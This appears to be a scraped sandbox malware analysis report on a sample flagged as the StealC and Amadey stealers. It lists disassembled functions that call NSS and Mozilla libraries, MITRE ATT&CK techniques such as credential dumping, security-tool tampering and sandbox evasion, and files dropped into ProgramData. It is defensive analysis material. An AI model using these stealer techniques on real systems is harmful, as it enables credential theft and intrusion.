Part of subcall function 6CE013C0: memcpy.VCRUNTIME140(00000000,6CDD2352,00000002,?,?,?,?,6CDD2352,?,00000000,?,?), ref: 6CE014C0

Strings

ESCAPE expression must be a single character, xrefs: 6CE49F78
LIKE or GLOB pattern too complex, xrefs: 6CE4A006

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: c3c4b97488c84eb21fe8caefd4c64bd93edb588c4219eccaf343e21b8eda2a64
Instruction ID: 653045c8de832c534b7989268adbc335f8e08a9031ac027382e6f123c47a4f6c
Opcode Fuzzy Hash: c3c4b97488c84eb21fe8caefd4c64bd93edb588c4219eccaf343e21b8eda2a64
Instruction Fuzzy Hash: 5D811870A042518BD700CF29D1817BAB7F6AF8532CF38C659D8A5ABB81D736D846C790

Function 6CEA4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEA4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CEA4DE6

Strings

%d.%d, xrefs: 6CEA4DDE

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: e512bb8fed5dec1d5bc060f778fdad82b486b78d6cd2431ce4e21411a5326425
Instruction ID: 0eff55e0a6df489059186802f6d4e57392b174a80a321d33c6d5a583bd19516b
Opcode Fuzzy Hash: e512bb8fed5dec1d5bc060f778fdad82b486b78d6cd2431ce4e21411a5326425
Instruction Fuzzy Hash: 8031C5B2D042186FEB509BE19C01BFF7A78EF41308F250469ED159F781EB319906CBA2

Function 6CEC4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8l,00000000,00000000,?,?,6CEC3827,?,00000000), ref: 6CEC4D0A

Part of subcall function 6CEB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6CEC4D22

Part of subcall function 6CEAFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE51A3E,00000048,00000054), ref: 6CEAFD56

Strings

'8l, xrefs: 6CEC4D07

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8l
API String ID: 1521942269-1867215535
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: f35f62a3b838504b53b126217ca8265e0ee5b9414788e14ecc96b50e5344697e
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 8BF0687270112857DB105D6A9E407673AFC9B4177DF351272DD38DB791E631DC018693

Function 6CEEAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CEEAF78

Part of subcall function 6CE4ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE4ACE2
Part of subcall function 6CE4ACC0: malloc.MOZGLUE(00000001), ref: 6CE4ACEC
Part of subcall function 6CE4ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE4AD02
Part of subcall function 6CE4ACC0: TlsGetValue.KERNEL32 ref: 6CE4AD3C
Part of subcall function 6CE4ACC0: calloc.MOZGLUE(00000001,?), ref: 6CE4AD8C
Part of subcall function 6CE4ACC0: PR_Unlock.NSS3 ref: 6CE4ADC0
Part of subcall function 6CE4ACC0: PR_Unlock.NSS3 ref: 6CE4AE8C
Part of subcall function 6CE4ACC0: free.MOZGLUE(?), ref: 6CE4AEAB

memcpy.VCRUNTIME140(6CFB3084,6CFB02AC,00000090), ref: 6CEEAF94

Strings

SSL, xrefs: 6CEEAF73

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 8a7edc41fe8122a00ae228de30b99bed491a95318ea7e123a8b477f63e618473
Instruction ID: 89e956a0487d8a989ed002c8693005596c14abbd300802835baf1fadb3a64827
Opcode Fuzzy Hash: 8a7edc41fe8122a00ae228de30b99bed491a95318ea7e123a8b477f63e618473
Instruction Fuzzy Hash: E2216DB2FA5B899BCA81DF51A4833167E71BB0A2CC7205118C5190BF28EB31504C9F9D

Function 6CE40F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F1B

Part of subcall function 6CE41370: GetSystemInfo.KERNEL32(?,?,?,?,6CE40936,?,6CE40F20,6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000), ref: 6CE4138F

PR_NewLogModule.NSS3(clock,6CE40936,FFFFE8AE,?,6CDD16B7,00000000,?,6CE40936,00000000,?,6CDD204A), ref: 6CE40F25

Part of subcall function 6CE41110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CE40936,00000001,00000040), ref: 6CE41130
Part of subcall function 6CE41110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE40936,00000001,00000040), ref: 6CE41142
Part of subcall function 6CE41110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE40936,00000001), ref: 6CE41167

Strings

clock, xrefs: 6CE40F20

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: c1ff5c5670ce654d7d06037bdaa620ac1d5c5b2bcf4dce2a500dab425d92d95c
Instruction ID: 67da5a6bc26c480a9d7d700ca44acc2f9eb03f36e1a14fc6f2a2c3cd094cf423
Opcode Fuzzy Hash: c1ff5c5670ce654d7d06037bdaa620ac1d5c5b2bcf4dce2a500dab425d92d95c
Instruction Fuzzy Hash: BBD01232A0825455C95167D7BC85B96B6BCC7C32BAF20CC6AE12842E104B6654FAD369

Function 6CEB0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CEB0DF5
TlsGetValue.KERNEL32 ref: 6CEB0E2D
TlsGetValue.KERNEL32 ref: 6CEB0E58
TlsGetValue.KERNEL32 ref: 6CEB0E84

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 23b96065084f237a2ba3060cd3bed666676db0fea722f2229a8c3b1fbbabd6d6
Instruction ID: 310d0fb5388c6e3a4474c2e8806d7aad52d95e628d437d7508dbe07a207ad5d3
Opcode Fuzzy Hash: 23b96065084f237a2ba3060cd3bed666676db0fea722f2229a8c3b1fbbabd6d6
Instruction Fuzzy Hash: E73195B0A543818BDF406F78D78477977B4BF0634CF21866DE89897B11EB35A085CB81

Function 6CEB0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CE52AF5,?,?,?,?,?,6CE50A1B,00000000), ref: 6CEB0F1A
malloc.MOZGLUE(00000001), ref: 6CEB0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CEB0F42
TlsGetValue.KERNEL32 ref: 6CEB0F5B

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 1213af0e784df5008500ca1d2c11074d1c45ea95985e22f61841d652dbf5238a
Instruction ID: 27551b50a0a70197dcd2119f42b1de22d3daeabe90e77fd0f9869db1926ec11e
Opcode Fuzzy Hash: 1213af0e784df5008500ca1d2c11074d1c45ea95985e22f61841d652dbf5238a
Instruction Fuzzy Hash: E20128F2F102809BE7502B3A9F45676BABCEF5229DF210135ED18D2A21EB31D405C6E2

Function 6CE61EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CE61ECE
free.MOZGLUE(?), ref: 6CE61EDF
free.MOZGLUE(?), ref: 6CE61EEF
free.MOZGLUE(?), ref: 6CE61EF5

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 53c6f43bb2b267581bf855a8d1b0b3138671f14e501cb90d2b18c23fa7e6b677
Instruction ID: 8384d25e585d5d45224feed39bde1630cff3be0a9d1991cdbe1a1b139a36e1f2
Opcode Fuzzy Hash: 53c6f43bb2b267581bf855a8d1b0b3138671f14e501cb90d2b18c23fa7e6b677
Instruction Fuzzy Hash: 09F0B4B5B50501ABEB009BE6EC45F27B37CEF45199B140424EC19C3E00D726F41086A1

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AKKKECBKKECGCAAAEHJK

C:\ProgramData\FHIDAFHCBAKFCAAKFCFCFIIJKF

C:\ProgramData\FIDGHIIE

C:\ProgramData\GDBAKEGIDBGIEBFHDHJJEHDHDG

C:\ProgramData\HDAFIIDAKJDGDHIDAKJJ

C:\ProgramData\IIJJDGHJKKJEBFHJDBGH

C:\ProgramData\KJDHCAFC

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
